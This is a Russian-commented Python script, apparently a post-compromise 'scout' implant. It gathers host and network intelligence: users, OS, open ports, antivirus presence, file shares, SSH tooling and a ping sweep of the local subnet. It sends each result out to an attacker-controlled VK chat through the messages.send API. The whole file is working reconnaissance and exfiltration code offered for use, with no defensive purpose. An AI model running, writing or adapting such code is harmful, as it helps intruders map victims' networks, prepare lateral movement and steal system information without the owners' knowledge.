Загрузка данных


#!/usr/bin/env python3
import os
import sys
import subprocess
import socket
import time
import requests

# ========== ТВОЙ VK БОТ ==========
VK_TOKEN = "vk1.a.твой_токен"
PEER_ID = -237813627  # ID твоего сообщества

def vk_send(text):
    url = "https://api.vk.com/method/messages.send"
    params = {
        "access_token": VK_TOKEN,
        "v": "5.199",
        "peer_id": PEER_ID,
        "message": text,
        "random_id": 0
    }
    try:
        requests.post(url, params=params, timeout=5)
    except:
        pass

# ========== СБОР ИНФОРМАЦИИ ==========
def run_cmd(cmd):
    try:
        return subprocess.getoutput(cmd)
    except:
        return "Ошибка"

def get_network_info():
    ip = run_cmd("hostname -I | awk '{print $1}'")
    subnet = ".".join(ip.split(".")[:3]) + ".0/24" if ip else "Неизвестно"
    return f"IP: {ip}\nПодсеть: {subnet}"

def get_os_info():
    return run_cmd("cat /etc/os-release | grep PRETTY_NAME | cut -d'=' -f2 | tr -d '\"'")

def get_users():
    return run_cmd("ls /home | tr '\n' ' '")

def get_open_ports():
    return run_cmd("ss -tln | grep -E '22|80|443|445|3306' | awk '{print $4}' | cut -d':' -f2 | sort -u | tr '\n' ' '")

def scan_alive_hosts():
    my_ip = run_cmd("hostname -I | awk '{print $1}'")
    if not my_ip:
        return "Не удалось определить IP"
    subnet = ".".join(my_ip.split(".")[:3]) + ".0/24"
    result = run_cmd(f"ping -c 1 -W 1 {subnet.replace('.0/24', '.1')} 2>/dev/null && echo ok || echo fail")
    if "ok" in result:
        # Если ping работает, сканируем все хосты
        alive = []
        base = ".".join(my_ip.split(".")[:3])
        for i in range(1, 255):
            ip = f"{base}.{i}"
            if run_cmd(f"ping -c 1 -W 1 {ip} 2>/dev/null | grep '1 received'") != "":
                alive.append(ip)
        return " ".join(alive[:20]) + ("..." if len(alive) > 20 else "")
    return "Nmap не установлен, ping не работает"

def check_python():
    return run_cmd("python3 --version 2>/dev/null || echo 'Не установлен'")

def check_ssh():
    return run_cmd("systemctl is-active sshd 2>/dev/null || echo 'неактивен'")

def check_sshpass():
    return run_cmd("which sshpass 2>/dev/null || echo 'Не установлен'")

def check_nmap():
    return run_cmd("which nmap 2>/dev/null || echo 'Не установлен'")

def check_requests():
    try:
        import requests
        return "Установлен"
    except:
        return "Не установлен"

def check_vk_api():
    try:
        r = requests.get("https://api.vk.com/method/users.get?user_ids=1", timeout=5)
        if r.status_code == 200:
            return "Доступен"
    except:
        pass
    return "Недоступен"

def check_shared_folders():
    result = run_cmd("showmount -e localhost 2>/dev/null || echo 'Нет NFS'")
    if "Нет NFS" in result:
        result = run_cmd("smbclient -L localhost -N 2>/dev/null | grep Share || echo 'Нет Samba'")
    return result

def check_internet():
    return run_cmd("ping -c 1 8.8.8.8 -W 2 2>/dev/null | grep '1 received' && echo 'Есть' || echo 'Нет'")

def get_hostname():
    return run_cmd("hostname")

def get_current_user():
    return run_cmd("whoami")

def get_cpu_info():
    return run_cmd("grep 'model name' /proc/cpuinfo | head -1 | cut -d':' -f2 | xargs")

def get_ram_info():
    return run_cmd("free -h | grep Mem | awk '{print $2}'")

def check_antivirus():
    return run_cmd("ps aux | grep -i 'clam\|defender\|eset' | grep -v grep | wc -l")

# ========== ОСНОВНОЙ ЗАПУСК ==========
def main():
    vk_send("[+] РАЗВЕДЧИК ЗАПУЩЕН")
    time.sleep(2)
    
    vk_send(f"[+] Хост: {get_hostname()}")
    vk_send(f"[+] Пользователь: {get_current_user()}")
    vk_send(f"[+] ОС: {get_os_info()}")
    vk_send(f"[+] CPU: {get_cpu_info()}")
    vk_send(f"[+] RAM: {get_ram_info()}")
    vk_send(f"[+] Интернет: {check_internet()}")
    vk_send(f"[+] Python: {check_python()}")
    vk_send(f"[+] requests: {check_requests()}")
    vk_send(f"[+] SSH сервер: {check_ssh()}")
    vk_send(f"[+] sshpass: {check_sshpass()}")
    vk_send(f"[+] nmap: {check_nmap()}")
    vk_send(f"[+] VK API: {check_vk_api()}")
    vk_send(f"[+] Антивирус(ов): {check_antivirus()}")
    
    vk_send(f"[+] Сеть:\n{get_network_info()}")
    vk_send(f"[+] Пользователи: {get_users()}")
    vk_send(f"[+] Открытые порты: {get_open_ports()}")
    vk_send(f"[+] Общие папки: {check_shared_folders()}")
    
    # Живые хосты — может быть долго, отправляем отдельно
    vk_send("[*] Сканирую живые хосты (может занять время)...")
    alive = scan_alive_hosts()
    vk_send(f"[+] Живые хосты: {alive}")
    
    vk_send("[+] РАЗВЕДЧИК ЗАВЕРШИЛ РАБОТУ")

if __name__ == "__main__":
    main()